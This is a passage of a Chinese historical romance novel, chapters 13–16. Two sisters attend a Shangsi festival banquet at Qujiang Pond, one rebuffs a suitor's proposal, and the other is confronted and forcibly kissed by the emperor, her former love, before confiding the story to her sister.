顾珂端详了下,摇摇头道"相貌是不错,只这人有些太矮了。"
“这在画上,如何能看出来矮?”杜氏呆了呆。
顾珂指道"虽然看不到真人,但是成年男子的体长大约为七个半头部到九个头部的长度,而这位李二郎的体长约为六个头的长度,看这画作,画工精巧传神,笔法成熟写实,画师应该不会犯这种的错误,估计……这位李二郎身高应该不超过五尺"。
“……”
“没事,没事,咱们看下一个”,杜氏又打开另一幅,自已先端详半天,总算放下心来。
“这个起码得有八个头”。
“这个是太仆寺卿家的二郎君吧?"
"你们认识啊?"杜氏奇道,“刚中的进士,就等着派官了,这个怎么样,不错吧”。
"还是五年前在一次雅集上碰到过,他没变样,确实看起来一表人材"。
"那回头让你舅母安排,咱们见见这个!"杜氏不由兴奋了起来。
"大伯娘别着急,这个人不太合适"。
"怎么不合适”,怎么又有但是。
“呃……不太好说”。
“你看你这孩子怎么话说一半呢,急死个人”。
“那日在雅集上他喝多了酒,让我无意间窥到了,他,他与一位男子……状似亲密”。
杜氏脑中似打了个响雷,劈得她半天哑口无言。
好半天合拢了嘴,清了清嗓子,尤未放弃,继续拿起下一幅。
结果不是家里绪婢养妾的,就是婆母刁钻的,好不容易挑出来各方面都没有什么大问题的,顾珂又说没眼缘。
十来幅画像,最后硬是一张没选出来。
杜氏叹了口气,道“蓁蓁,你跟大伯娘说实话,你跟你姐姐,是不是有中意的人了”。
顾珂心口漏跳了一拍,道“没有的事”。
“罢了罢了,我再让你们舅母再给打听打听,你且去顽吧”,杜氏如同斗败了的母鸡,一时间也有些提不起精神。
“大伯娘莫要为此事再忧心了,姐姐仙人之姿何愁没有好姻缘,只是缘份未至罢了,一切随缘罢”,顾珂劝慰道。
杜氏只摆摆手打发了顾珂出去,也不知听没听进去。
隔了二日,这天顾珂正在房中看书,却是顾珈来了。
“姐姐来了",顾珂正在练字,见她来了,搁下笔,起身相迎。
顾珈来到书案边端详片刻,"你的字是越发进益了,我看比祖父写的还要好了"。
顾珂走到窗边坐下"哪里能跟祖父比得,祖父说我现在的字只有形,未有神,只是按照形状来书写,并不是自己写字真正的力度使然”。
“偏你们喜欢跟自己较劲,鸡蛋里还要挑骨头,好看就是好看,不好看就是不好看,什么形啊神啊,为难自已”。
顾珈接过知情递到手边的蒙顶石茶抿了口,“你这种直接把散茶泡了喝的法子倒是清清爽爽的,入口还有回甘,在你这喝了几回后,我现在也都这么喝了”。
顾珂也喝了一口“我总是喝不惯把茶饼碾成粉的口感。”
“我来给你送韦二娘的请帖,她邀咱们上巳节去曲江池边的裙幄宴”,说着,递过来张帖子。
“韦姐姐的宴我必是要去的,听说她家有珍藏的梨花白,最是香醇不过了”,顾珂笑吟吟的接过,已是惦记上了。
"听说姐姐去看徐郎君了"。
“昨儿个去的,鲁太医说没伤到骨头,再休养几日便无事了。”
“那可真是太好了,听说今年的上巳节,圣人也会亲临,想必会很热闹”。
顾珂已经五年未参加过上巳节,毕竟也是好玩的年纪,提起来也是很有兴致。
顾珈的眼底笑意却淡了淡,“兴许吧”。
三月三,上巳
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节。
杜氏早几日前就给姐妹二人送来了刚刚裁制好的春衫和成套的头面,都是最时兴的款式。
西平侯府富贵,杜氏手中宽裕,她又从不吝啬给顾珂的那一份。
除孝后姐妹二人的两次露面都不太顺利,故她更是憋了一口气,定要把姐妹二人打扮成天仙一样,誓要出一口恶气。
甚至当天早上,她亲自坐镇顾珈的酿春堂,亲眼看见顾珈把她送来的衣饰都穿戴上,才算罢休。
顾珂看见顾珈的时候都小小的被顾珈惊艳一把。
顾珈平日里出门时总爱穿圆领袍之类的方便行走的衣衫,虽也掩不住芳华,但都没有今日给人的夺人心魄。
"大伯娘果然好眼光,姐姐合该多穿些这样的衣服,平日里我们看着也赏心悦目"。
杜氏的眼光倒果真不赖,顾珂相貌上不如顾珈夺目,就给她配了淡粉色的短袖襦衫,下配水蓝色的交窬裙,头上则簪了芙蓉花垂珠步摇,突出她雅致的气质。
顾珈相貌明媚,则给她配了件绯色绣海棠花的齐胸襦裙,外罩杏色大袖衫,绛色绣宝相花的披帛,鬓边则簪着累丝镶宝梅枝金鬓簪。
”都是母亲的功劳,“,顾珈本人倒也十分满意。
此前总是出门跑马考虑方便,兼着杜氏总想拉着她相亲,才多穿些圆领袍,哪有女孩子不爱俏的。
何况今日杜氏格外开恩,许她姐妹二人晚上可以带着侍从夜游曲江池后再回来。
故此时十分顺从,令杜氏十分满意,觉得今日定会心想事成的。
杜氏又给姐妹二人检查了一下,又瞩咐了很多注意事项,才终于放行了。
到了曲江池边,二人很是一番好找。
最后还是知意眼尖,在一片裙衫帷幄之间看到了韦二娘。
曲江池边人流如织,各种形式的宴席布满了水边。
席间笑语盈盈,偶有丝竹之乐传来,与江水潺潺相和。
韦二娘早早的就让仆从来占了位置,又挂好了裙衫。
因靠着林子,虽值正午,却凉风拂面,十分舒适。
韦二娘发现了她们,忙笑着冲她们招手“大娘、二娘,这边!”。
待她二人走近,发现除了韦二娘、杜忘真,还有二位小娘子。
韦二娘给彼此间介绍了一下,一位是她堂妹,崔五娘。
小娘子才十四岁,相貌伶俐,一双大眼睛忽闪忽闪的,十分可爱。
另一位是万年县令的女儿苏大娘子,今年十七。
这位苏大娘子说起话来软糯糯的的,有些口音。
她自己介绍才从苏州老家随父亲来上任,故而带些乡音。
这位苏大娘子算是韦二娘的表妹,二人的母亲是表姐妹。
几位小娘子彼此见了礼,互相问了年龄姓名,有韦二娘从中牵线,倒是很快熟悉了起来。
“韦姐姐家的梨花白果然名不虚传,今天倒便宜我了”。
几位小娘子酒力浅喝的是葡萄酒,顾珂独享一坛梨花白。
韦二娘笑道,"不过一坛子酒罢了,不是什么好东西,还值当你来说,我车上还有二坛,一会给你带走就是了"。
13. 求亲
顾珂到不客气,欢喜应了,众人又是一番取笑。
几杯酒下肚,寿光县主扶着侍女的手从边上经过,看见她们略点了点头。
"怎么今日不见李令仪",顾珈道。
韦二娘看看周围,低声笑道,"听我父亲说,马球后第二日,圣人就差宫人将那匣子珍珠送到了庆王府,当晚庆王就进宫请罪去了,只圣人并未召见,回去后,静宁县主就被禁足了"。
苏大娘子疑道,"那这圣人倒底是高兴还是不高兴啊,赏了珍珠还不见”。
韦二娘又道,“听说那匣子珍珠是刚刚贡上来的,宫里最得宠的吴淑妃那里,都没得到半个,长公主那里也没有,整个一匣子都送给了她李令仪一个县主,她那里受得起,庆王近年来于社稷也没有什么大功业,不过一个富贵闲人,圣人这是敲打她们呢,这不庆王赶紧诚惶诚恐的去替女请罪了”。
“这庆王果真敏锐,难怪能一直屹立不倒,就是教女无方”,杜忘真喝了口葡萄酒,叹道。
“我倒觉得这李令仪的性子也许是王爷王妃故意纵的”,顾珂几杯下肚,不禁打开了话匣子。
苏大娘子奇道,“为何这么说”,几人也好奇追问。
“只是感觉,庆王府能历经变故不倒,足以说明庆王聪明又小心,那天虽然只见过王妃一面,但又觉得她不是个平庸的妇人,虽然没见过庆王世子,但是见李时泽,也是个有轻重的,可见庆王府不是不会养孩子,且观这些年庆王府传在外的不过都是些铺张浪费、县主娇纵等这些天家子弟最不在意的地方”,顾珂耐不住几人追问,低声道。
几人听了顾珂的话后,一时俱都沉默不言。
“这是你祖父与你说的?”半晌,韦二娘问。
顾珂摇了摇头,“祖父致仕后并不怎么与我们说起朝中事,只是那天看到了李二郎,才突然有这些感觉”。
“顾二姐姐,你可真聪明”,韦五娘看着顾珂,觉得她好利害,说起话来像是父亲在跟伯父、叔父之间聊天的论调。
“瞎猜的罢了,倒是在众姐妹面前卖弄了”,顾珂笑道,因酒劲上涌,双颊酌红。
“差点忘了,”韦二娘又道,“崔三娘子订亲了”。
这下众人倒是实打实的惊讶了,毕竟婚嫁可是女子一辈子最重要的事,之前一点风声都没有,突然就定亲了,容不得人不多想。
“说的是文远伯的世子”。
众人沉默了。
伯府世子,崔三娘子父亲也不过四品,听上去倒是门当户对,崔芝芝还高攀了些。
可这文远伯除第一代老伯爷挣了个爵位后,子孙们不论是读书还是经营都不成器,现在族里竟无一人出任官职,天天守着祖产坐吃山空,眼见的就要退出长安的上流圈子。
顾珂几人虽厌恶这崔三娘为虎作伥,可也不忍心在婚事上嘲讽她,故而一时竟都无言。
还是韦二娘自己打破了沉默,“听说是尚书令大人亲自保的媒”。
众人皆出自官宦之家,自小耳濡目染,有些事情通过表面,很快就能联想到背后的实质。
宰相大人哪里会想得起一个四品官的女儿还有破落伯府,授谁之意昭然若揭。
“咱们在这喝上一下午,一直喝到晚上圣人的游船出来,听说那船今日布置的格外精美,咱们这个位置又避风,晚上赏游船可是最合适不过了”,韦二娘道,算是揭过这个话题。
众人又七嘴八舌的讨论起今天的热闹来。
一壶酒见了底,顾珂两颊红的厉害,“喝了这许多酒,想去旁边的山上走走,散散酒劲”。
苏大娘子道,"那我陪你去吧,正好我也想去看看,有没有兰草可采,晚上回去沐浴"。
“那大家就一起去吧”,杜忘真提议。
顾珈道,“你们去吧,我吃饱了正懒怠动弹”。
韦五娘也说,“那我陪顾大姐姐在这吧,我在这看着小娘子们的裙衫实在美丽,还没看够哪”。
韦二娘道,“忘真,你不如陪我一会去旁边相熟的宴席坐坐,打个招呼吧”。
韦二娘即开了口,杜忘真没有拒绝的道理。
于是六人分做三伙,顾珂和苏大娘子便带着侍女往山上走。
山脚下随处可见趁节日相会的小郎君、娘子们,半山腰有不少人已经抱着兰草往回走了。
苏大娘子一开口就软糯糯,熟悉起来倒很健谈,“往年在苏州,每到上巳节,我们也都出来采兰沐浴,这长安城果然首善之地,更加热闹”。
顾珂笑着点点头,“晚上,圣人应该还会赐曲水流觞宴,点起灯,应该会更漂亮”。
“听表姐说,二娘子最擅书”。
“随便写写罢了”。
“我父亲之前也在国子监上过学,他拿回家很多大司成的字帖,我跟哥哥最喜欢练了,不瞒你说,我俩之前在家很是苦练了一阵,却总是不得要领”,苏大娘子说到这有些不好意思。
“那我回头给你下贴子,你跟苏公子可一定要来,我祖父现在最喜欢教人写字了,看见你们喜欢练,那肯定很开心”。
“真的吗”,苏大娘子兴奋的提高了声音,然后自已又不好意思的抿了抿嘴。
“真的”,顾珂看她这样高兴,不由被感染了。
苏大娘子看看左右,突然有些吞吞吐吐“不瞒你,之前也听到了些风言风语,我还对你产生了些误解,觉得你也是那种卖弄文采,标榜身价的人……今天本不想来的,是二娘拉着我来的,她说我看见你们就知道流言是错的,她果然是对的”,顿了顿,她鼓起勇气抬起头,“你莫生我的气”。
“你能跟我说这些,我要感谢你呢,要不然我都不知道自己这样出名”,顾珂倒并不在意,笑着冲她眨了眨眼。
“顾二娘子,我就知道你不会生我的气,我才敢说的”,苏大娘子也笑了。
“我们还是称名字吧,我名顾珂,小字蓁蓁,你叫我蓁蓁就好”。
“蓁蓁,我叫苏菱,你叫我阿菱吧”。
二人相视一笑,继续往山上走,走到半山腰,苏菱发现了兰草,要
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去采兰,顾珂还想爬爬山,二人便暂时分开。
顾珂领着知情知意随意往山上走着,越往上走,越是凉爽。
顾珂瞥见前面山头露出个檐角,似有个凉亭,便想去坐坐,几人行了半途,身后突然传来一道男子的唤声。
“顾二娘子”。
顾珂转头,见到来人,微讶,弯身行了一礼,“柳三郎君”。
柳溢之拱手行了一礼,有些难以开口,“二娘子能否借一步说话”。
顾珂轻蹙眉头“柳郎君有什么话就在这说吧,我的侍女不会出去乱说的”。
“在下没有别的意思,稍隔几步即可”,柳溢之又道。
顾珂只好与他开走了几步,与知情知意隔了二三丈的距离。
待站定,柳溢之再次拱手行了一礼,“因在下的冒失,惹得娘子闺誉受损,在下在此诚心赔罪”。
顾珂侧过身子,避开了他这一礼,道“柳郎君莫要自责,不过是旁人闲语,并不能伤我分豪,也请你不要放在心上了”。
柳溢子直起身子,攥了攥拳,看看左右,斟酌着开了口,“在下想请家中长辈过府向娘子求亲,不知娘子是何意”。
顾珂心下一惊,转念一想,心下却有些腻烦,只淡淡道,“柳郎君请回吧,我今日就当从未听过这些话”。
柳溢之忙解释道,“娘子莫要误会,我没有别的意思,在下确实一直仰慕娘子才学,那日马球赛又见识了娘子的风采,且此番连累姑娘,均是因在下而起,惹能娶姑娘为妻,就能解了这困局,只不过在下高攀了,还望姑娘垂青”。
顾珂心中已是有些火起,强自压下,“柳郎君既然把话说到这了,那我也就直说了,我无意于此,请回吧”。
柳溢之还待说些什么,被顾珂不耐打断“柳公子已经得到自已想要的结果,为何还要在此纠缠”。
“顾姑娘这是何意”,柳溢之愣道。
顾珂在心里叹了口气,看着他的眼睛道“我的拒绝难道不就是柳公子最想要的结果吗,你既不想面对连累我的后果,不敢堂堂正正的出去平息那些流言,也不是真的想娶我,只是猜到了我或许还有几分骨气,想要我拒绝你而求个心安罢了,婚姻之事乃父母之命,媒妁之言,你如果真的想担当,或者像你说的真心仰慕我,那马球赛过了这许久,为何没见贵府托媒人来说合,还是说这只是你柳公子的一厢情愿?”
柳溢之被顾珂一翻抢白,脸上红一阵白一阵。
顾珂实在是越说越腻味他的做法,“柳公子张口说自己冒失,闭口说自己连累我,如今私下里追到这里,荒郊野外,私订终身,这里又人来人往的,都不需要被人听去只言片语,只要看见你我私下站在一起,就是做的最冒失、最连累我的一件事了。”
“顾姑娘是怨我未请长辈上门?”
“……”顾珂被他这总结弄的一时无言,“我无意于柳公子,也从来未觉得你欠我什么,更不觉得受你连累,如果柳公子真的觉得连累于我的话,那么请以后慎言,更莫要与我单独相见”。
14. 避雨
说罢,便也不再看柳溢之脸上的表情,转身离开了。
柳溢之似是欲追,犹疑半晌,终是作罢。
知意回头偷偷的看他一眼,小心道,“姑娘,柳公子还站在那呢”。
知情瞪她一眼,皱眉道,“站不站在那里与我们姑娘有何干系,下回见了他就要打出去”。
知意吐吐舌头,还是忍不住道“姑娘如何猜到他不是真心的”。
知意、知情与她从小一起长大,早不同一般主仆,在母亲过世后,也是她二人一直陪在她身边。
有许多话,跟顾怀仁说不出来,跟杜氏没说过,但她俩大半都知道,知情比她大一岁,稳重心细,平日里把她的浣花庐料理的井井有条,像是姐姐一样,知意年龄比她小一岁,又性子活泼跳脱,更像是妹妹。
早就习惯了知意的口无遮拦,顾珂倒没生气“看一个人是不是真心,不能看他说了什么,要看他做了什么”。
知情见姑娘没生气,便道“这个柳公子,真不知道叫人说什么好,揣着明白装糊涂,姑娘还是心软,给他留了脸面了”。
知意看看这个,又看看那个“你们在打什么哑谜”。
知情看顾珂没反对,就把道理掰碎了给她讲,“男女不能私相授权这么浅显的道理连门房李伯八岁的小子都知道,何况这个柳公子出身世家,父亲做着礼部尚书,他想向老太爷求字,直接送来帖子,或者登门来求,又有何不可,老太爷又不是吝啬笔墨的人,偏他办宴时趁姑娘落单,向姑娘求要,且不说姑娘的字能不能赠外男,即便能赠,也不能这么私相赠与,传出去姑娘成什么了,他明知道这件事是冒失的事,却也不在意这件事可能造成的后果,你细想,是不是这么个道理”。
知意也不是个笨的,经知情这么解释,就想通了大半“我就说一直觉得不合理呢,老太爷屋子里的姐姐们都被抓着练字,有人上门求字,从未有过拒绝的,这个柳公子口口声声喜欢老太爷的字,却不去找老太爷,这人指不定想拿着扇面去哪里炫耀呢”。
顾珂道“哪有人会在一件事上一直摔跟头的,而这位柳公子一摔就是两次,明知道上次唐突,这次偏又唐突,不过是火烧到谁身上谁痛罢了。”
知意却已是听得心头火起,转身便要往回去“不行,我要回去骂他一顿”。
知情忙拦住她,骂道“你这说风就是雨的毛病什么时候才能改改,还怕不给姑娘填乱吗”。
知意小心的看了顾珂一眼,见她似是并未动怒,也觉自己冒失,但又气不过,“以后再见这人,我一定向大姑娘借了鞭子,抽他走”。
知情白了她一眼“就你威风”。
说完却是脸颊一凉,三人惊觉竟是下雨了,也顾不上骂柳溢之了,不由加快脚步往亭子里赶了。
到了亭子,三人俱是一愣,亭子里已经有人在了。
那人正坐在石桌上品茶,听到脚步声见到几人,却是不惊讶,好看的嘴角勾起“顾姑娘”。
雨竟是有越下越大的趋势,三人只得先进亭子避雨。
那人起身,手轻抬,“雨越下越大,顾姑娘稍坐,避避雨吧”。
“多谢裴公子,叨扰了”,意外的见到裴越,顾珂的心漏跳了一拍,没想到二人会这样快再见面。
心里又不由苦笑,今天出门定是未看黄历,刚逃开一个私相授受,这又来一个孤男寡女。
只雨下的这样大,除了这亭子附近没有避雨的地方,要是这样走到山脚,衣衫只怕尽湿,怕她明天一早就会被唾沫星子淹死。
只盼着这雨能把她隔在这里,也能把其他人隔在外面,待雨一停,她赶紧走就是了。
知情与知意守在廊下,顾珂走到裴越对着的石凳坐下,裴越倒是好兴致,石桌上的小泥炉中正在煮着茶,此时刚好茶沸,裴越动手倒了一杯,递给顾珂。
“先喝些茶润润喉吧,想必是渴了”。
顾珂便知道,刚才柳溢之的纠缠只怕都被这人看在眼里了。
她面不改色道“多谢裴公子,爬了半天山,确实有些口渴了,不知裴公子怎么孤身一人在这”。
见她装湖涂,裴越也不戳穿她,眼底漾开浅浅的笑“晚上圣人与民同乐,刚勘察布防完在此休息下”。
“上次打马球的事还未多谢裴公子救场”。
“举手之劳而已,也未帮上什么忙,倒是顾二姑娘的马术当真精湛,让人配服”。裴越看她一眼,举起茶杯,轻轻送入口中。
“侥幸而已”顾珂见他并不提五年前的事,便也不想提,也举起茶杯浅了口茶。
喝了一口倒被惊艳了,不由赞叹道“裴公子这的茶都非凡物,这蒙顶石花的口感当真上乘”。
“之前圣人赏的,顾二姑娘若不嫌弃,回头让人送些给大司成尝个新鲜”。
顾珂的耳尖微红,听了这话,越发确认他刚才是都听到了。轻咳了声,“那就替祖父谢谢裴公子了”
“顾二姑娘倒不客气”,裴越眼里的笑意越来越深。
“听说裴公子当时也是科举入仕的读书人,我祖父当时还未致仕,想来裴公子应得过我祖父的授业,给恩师送些茶,想来我祖父也不会推辞”,说罢假装疑惑道,“还是说裴公子只是随口客气一下,那倒是我冒昧了”。
裴越看着她这个黑心汤圆的样,不禁好笑,正待说话,却是下属冒雨过来了。
“将军,圣上招唤”。
裴越便站起身道,接过下属递过来的伞,留了两把放在桌子上,“一壶茶送给姑娘暖暖身子,圣人招唤,在下先失陪了,茶叶过两日便送到,还望大司成不要嫌弃”。
顾珂站起身弯身行了一礼,道了多谢,裴越颔了颔首,转身走入了雨中。
裴越走后,顾珂便让知情知意二人也进来喝杯热茶暖暖身子,好在这雨来的快去的也快,待雨停了半晌,几人便下得山去。
下山时正好碰到苏菱也捧着兰草避雨出来,二人于是同往。
待找到韦二娘几人时,却发现顾珈不见了。
韦二娘说“顾珈说随处转转一会就回来,便领着白芍她们几人走了”。
顾珂见白芍她们几个不在身边,点点头,“姐姐性子随兴,想必又是发现什么有趣的去看看”。
杜忘真也道,“她就是这么个性
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子,一会新鲜够了自然就回来了”。
韦二娘几人也是刚从水边廊下避雨出来,又道“刚下过雨,这地上到处都是水,裙幄宴是不能继续了,眼看天就要黑了,我们不如沿着水边走走,一会点上灯,想必颇为有趣”。
韦五娘附和,“也只能这样了。
其余几人也无意见,几人便顺着曲江池沿路随意游玩起来。
大约半个时辰,天色渐渐暗了下来,周边灯火渐次点亮。
几人正走着,前方一阵骚动,只见不远处一座富丽堂皇的舫船正沿岸驶来,两岸百姓渐次拜倒。
几人便知这是圣人来了,忙随着人群拜下。
圣人携着一个年约二十出头的美妇正立于船头,顾珂不由偷看了两眼。
韦五娘在她身边小声嘀咕道“圣人旁边的便是最得宠的吴淑妃,此前随伯母进宫的时候,见过一面,号称冠绝六宫,可是我却觉得只中上之姿”。
韦二娘在旁边听了,蹙眉轻斥道,“莫要胡说”。
韦五娘便吐吐舌头不再说话。
正好圣人示意众人平身,让她这么一说,顾珂到来了好奇。
借由起身的机会,不由多打量一眼,心里认同了韦五娘的话。
她朝韦五娘轻点了点头,二人心照不宣的暗笑起来。
平心而论,吴淑妃自然是美艳的,只是顾珈也是这个风格,二人,由其是顾珂,看多了顾珈这张脸,在这个风格中想惊艳她俩却实在不容易。
几人又放了会河灯,终于尽兴,便各自回府,顾珂左右看看了,终是未找到顾珈,便先自行回府了。
*
顾珈却是带着白芍等人到了曲江池边的春风楼,自已一个人坐在包间中,自斟自酌。
顾珈正一手托腮,静静的看着曲江池发呆。
门边突的传来声响,顾珈下意识的转头,看见来人不由怔住,反应过来后,扭过头不发一语的看着窗外。
李维桢看她不作声,心里微叹口气,坐到了她对面,看到她面前空空的酒壶,眉头微皱,“怎么一个人喝了这许多酒”。
顾珈却不回答他的话,继续给自已斟酒。
李维桢看她不做声,饮了一杯,还要再倒,忍不住抻头按住她欲执壶的手。
顾珈似被烫了似的一把甩开,皱眉道“圣人怎么来了”。
李维桢盯着她被酒意晕红的双颊,话气不由软了下来,“你在这里,我怎么能不来”。
顾珈似是听见了什么笑话,嗤笑道“圣人在说什么笑话,臣女听不懂”。
“顾珈,我们非要这么说话吗”。
顾珈扬眉看向他,“那我应该怎么说话”。
说着似是突然想到一样,站起身,做势便要下跪,“喔,见到圣人我得跪着说话,这就跪”。
李维桢一把拉起她,也被她弄的有些火起,目光灼灼的盯着她。
顾珈觉得他的眸子亮的逼人,用力挣脱,后退了两步,低头淡淡道,“圣人早已佳人在侧,如今又是何必”。
李维桢眉峰沉了沉,道,“顾珈,我们浪费了三年,还要继续下去吗”。
15. 强吻
“圣人三年前便知道结果,何来浪费一说。”
“除了我你难道还能嫁给别人”。
顾珈似听见了什么笑话,坐回椅子“圣人这话让人听了去还以为我们之间有什么,我顾珈清清白白的闺女,何人不能嫁”。
李维桢到不发怒,“那个徐家的傻小子吗?还是罗家的愣头青”。
对于他知道这些,顾珈不意外,再次嗤笑一声,“圣人明见”。
“你看不上他们”。李维桢陈述事实。
“徐公子有情有义,罗公子风趣幽默,配我顾珈皆绰绰有余,圣人未免武断了”。
“莫要说气话了,浪费了那么久,朕现在一刻也不想浪费”。
“那是你的想法,与我有什么干系。三年未见,圣人何故又来纠缠”。
“三年多前,朕刚登基一年多,天下未稳,有些事情身不由己,可是现在的情况跟以前不一样了,顾珈,我们重新开始好不好,做我的皇后,以后我只有你一个人”。
顾珈转过头看着他“三年前,你让我等你,我问你能否做到一生一世一双人,你做不到,那时的我们就再也没有以后了,说我顾珈霸道也好,妒忌也好,男人有的是,我绝对不跟别人共侍一夫,你即做不到,我便再也不纠缠你,你的千万种理由与我何干,天子一言九鼎,如今又是如何”。
“我知道三年前的情况多说无益,但是现在既然我们彼此放不下,为什么不给彼此一个机会,不要再固执下去了,每次坐在宫中看着呈上来消息中,你今天去跟徐肃跑马,明天去跟罗起元踏青,还有什么张三郎王四郎的,我怕再这样下去,我真的会忍不住杀了他他们。”李维桢垂下眼眸,长长的眼睫遮出一团暗影,不再用朕这个自称。
“你这是在危胁我吗”。
“没有一个男人看见心爱的女人天天跟别的男人在一起不疯的”,李维桢抬起头,直直的盯进她的眼里。
“我们不过是清清白白的朋友,按照你的说法的话,我是先砍吴淑妃,还是剁了王昭容?”
“从此以后虚置后宫,我不碰她们”,李维桢正色道。
“所以呢”顾珈嘲弄的笑道“你觉得对我是天大的恩宠和施舍了,可是,我却不稀罕”。
“那你要我怎样?”李维桢已是有些动怒了,在龙椅上做了五年,很久没有人这样顶撞他了。
“要想我答应你也行,你有几个妃子,我先去睡几个男人,吴淑妃、王昭容,这就两个了,那我明天先去睡了徐肃,后天再去睡罗起元……啊!你!……”
李维桢耐心渐渐耗尽,眸光越来越暗,指尖越攥越紧,偏顾珈越说越来劲,听到最后两句,李维桢的戾气陡然上涌,再无半分克制,他骤然起身,一把绕过桌子,修长的指节扣住她手腕,在她震惊的目光中,猛的拉起她,长臂一伸便将人扣在怀中,欺身而上,做了一件他一直想做的事,微凉的唇用力的覆上她嫣红的唇瓣。
李维桢一手钳着她的手举高,另一支手攥紧她腰肢将人狠狠按在廊柱上,不是温柔缱绻,而是带着怒意与惩罚的碾转。
“唔!”顾珈脑子一轰,猛然反应过来,用力挣扎,他却纹丝不动,反而越搂越紧,顾珈只觉得周遭气息骤然滚烫。
初时,李维桢只是想让那唇瓣不要再说出让他生气的话,渐渐的,越是越来越无法自拔,他半阖的眼底翻涌着暗潮,似是要将三年时光都倾注在这唇齿之间,不自觉的想要攫取更多甜蜜,几乎要将她拆吞入腹。
良久,他才依依不舍的离开她红肿的唇瓣,低哑却道“顾珈,你这辈子都只能是我的女人”。
顾珈猛的回神,眼睛瞬的恢复清明,下一瞬间,她扬手狠狠一巴掌甩在他脸上。
“啪!”的一声脆响,周遭瞬间死寂。
李维桢的脸被她打的偏了过去,黑发垂落几丝遮住眉眼,空气静的吓人,只剩下两人急促的喘息。
顾珈胸口剧烈起伏,眼眶泛红,“李维桢,你别太过分了!”
李维桢缓缓转过头,眼神冷得像冰,他声音低沉发寒,带着被冒犯的怒意与压抑不住的醋意,一字一顿,道,“三年了,我看着你对别的男人言笑晏晏,看那些男人像苍蝇一样往你身上贴,顾珈,你这样对我,才叫过分。”
话音未落,他再次俯身,这一次不再是惩罚,而是带着雄性的强势占有欲。
顾珈又惊又慌,却又不自觉的想要沉沦,她从未被人如此对待过,这感觉让她心慌,偏李维桢虽看着并不魁梧,却身形精瘦有力,她硬是挣不过。
他力道大得像是要把她揉碎融进自已骨血里,胸膛紧紧贴着她,起初他还是稍微克制的,很快他便彻底失控,每一次急促的喘息都喷在她泛红的耳廓,直到脸颊感到一点湿润。
却是顾珈的一滴眼泪顺着眼角滑落,滴到他唇角。
那滚烫的濡湿,却像是一盆冰水,瞬间浇灭了他心里的暴戾。
他心脏狠狠一抽,微微退开半步,额头抵着她的,方才那股要将她拆吃入腹的狠劲瞬间消散,手指颤抖着想擦去她的泪,声音暗哑的低谓,“顾珈……你要我拿你怎么办,我想尝试忘了你,给你自由,可是我做不到”。
顾珈趁着片刻空隙,用尽全身力气,猛的抬手将他狠狠推开,不等他反应,转身就冲出了房间。
只留李维桢面对着桌上的残酒,手掌攥的发白,最终也只是长叹一声。
顾珈冲出房间后,被内侍拦在门外的白芍与绿芷忙跟上。
顾珈冲到楼下,翻身上了马车,喝住要上来的白芍与绿芷,双手抱膝,头深深的埋下,却是再也忍不住咬唇流起泪来。
府中顾珂已经梳洗完,换了寝衣,靠在贵妃榻上正翻着书。
听见外面守夜的小丫头的声音,她正待出声询问,却见顾珈跌跌撞撞的冲进房内,她鬓发凌乱,眼眶红肿,唇瓣更是红肿的不正常,脸上虽已无泪痕,但还是吓了顾珂一跳。
顾珂猛的站起身子,刚想上前扶住她,又猛然站住,听见门口白芍和绿芷的声音,以眼神示意知情知意出去守着,又稍微提高点声音,“姐姐,杜姐姐带的礼物我还寻思明早使人给你送去,你这倒急吧吧的上来讨要了”。
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听见院子里的小丫头都被知情知意打发了,只留她二人守在门口,连白芍和绿芷都只在院中立着。
这才上前扶住脸色苍白的顾珈坐到榻边,又亲自倒了杯茶递给顾珈。
顾珈沉默着直把一热盏茶都饮尽,才觉得稍稍缓过来点神。
“三年前,我曾经恋慕过当今圣人”。
顾珈开口,顾珂眉头一跳,转念一想便觉得一切都合理了,顾珈对相亲的抵触……还有那时马球比赛后期的反常。
不是顾珂王婆卖瓜自卖自夸,把顾珈和李维桢放在一起,她觉得还真不好说谁配谁呢。
顾珈顿了顿,继续道,“大约在四年前左右,在一次打马球时……”
顾珈是在五年前的一次马球会上认识的当时还是太子的李维桢。
初时也并没在意,只是几次马球下来,见李维桢马球打的好,才注意到他,几次合作下来两人便熟悉了。
后来李维桢就找各种理由约她出去,有时是跑马,有时是打马球,有时仅仅是在散步或喝茶,渐渐的,她竟慢慢的盼望和他一起出去。
她意识到,她应该是喜欢上他了,而且,从他看她的眼神中,她看到了和徐肃、罗起元他们一样的东西,甚至比他们更炙热。
但是他们谁也没说破,直到永王之乱,他登基后,她意识到一件事,他会是天子,他不会更不能一辈子只守着她一个。
而她,是接受不了与别的女人共侍一夫的。
虽然顾府的三个男主子都是没有纳妾,可是身边种种比比皆是。
七品小官都左一房又一房的往回台,就拿韦二娘来说,韦尚书就算不好美色的了,只纳了二个妾,可他们聚会时,也没少听韦二娘说过她母亲的难处。
她不想也不屑变成那样,把青春和精力浪费到和别的女人勾心斗角上,最后硬生生的把自已磋磨成一个丑陋妇人。
他登基后很忙,忙到他们一年都没见过面,只他经常写些书信或着人送些小玩艺来。
他快出孝时,有适龄姑娘的各路世家已经蠢蠢欲动,待他出了孝,更是进入了白热化,年轻英俊帝王空无一人的后宫,实在是诱人的很。
坊间甚至挂起了赌牌,押谁能入主中宫,有押手握重兵的威远侯嫡女吴氏的,有押出身琅琊王氏嫡支的吏部尚书之女王氏的,甚至因为祖父在读书人间的影响力,她也榜上有名。
后来,祖母过世,她要守孝三年。
祖母出殡后的第二天,他约她在春风楼相见,房间跟今天是同一间。
去之前就隐隐有预感,在见了他之后一切预感都成了真。
好久未见,对他的感觉陌生又熟悉。
窗户纸薄的都不用捅,他只问说了一句话,能否等她三年。
她也只问了他一句话,能否一辈子只她一人。
他未回答,她也便未回答。
饮完桌上的茶后,她把装满他所有书信的匣子放在桌上,走出了春风楼,也打算走出这件注定无结果的事。
后来,吴氏进了宫,再后来,王氏也进了宫。
16. 驸马
他也不再有信来了。
她想着,大约之前种种如镜花水月般,慢慢的就散了,这样的结局也好。
直到出孝后的这次马球赛,已是三年没见。
顾珈把一切和盘托出后,仿佛把压在心口三年多的石头搬开了,心情一时轻松起来了。
顾珂斟酌着开了口,“那今天你又见到圣……他了?”
顾珈点点头,道,“他不欲放手”。
顾珂蹙起眉,如果说的是别人想法,那算不得什么,还能强娶强纳了?
可是如果是李维桢……顾珂咽了口口水,他还真能。
这事要搁在别的女子身上,别说她个人,就是整个家族那都得敲锣打鼓,与有荣焉。
要是让他们知道了顾珈的想法,大抵上会觉得她大概是疯了,是不识好歹,会连夜给她捆了送上龙床。
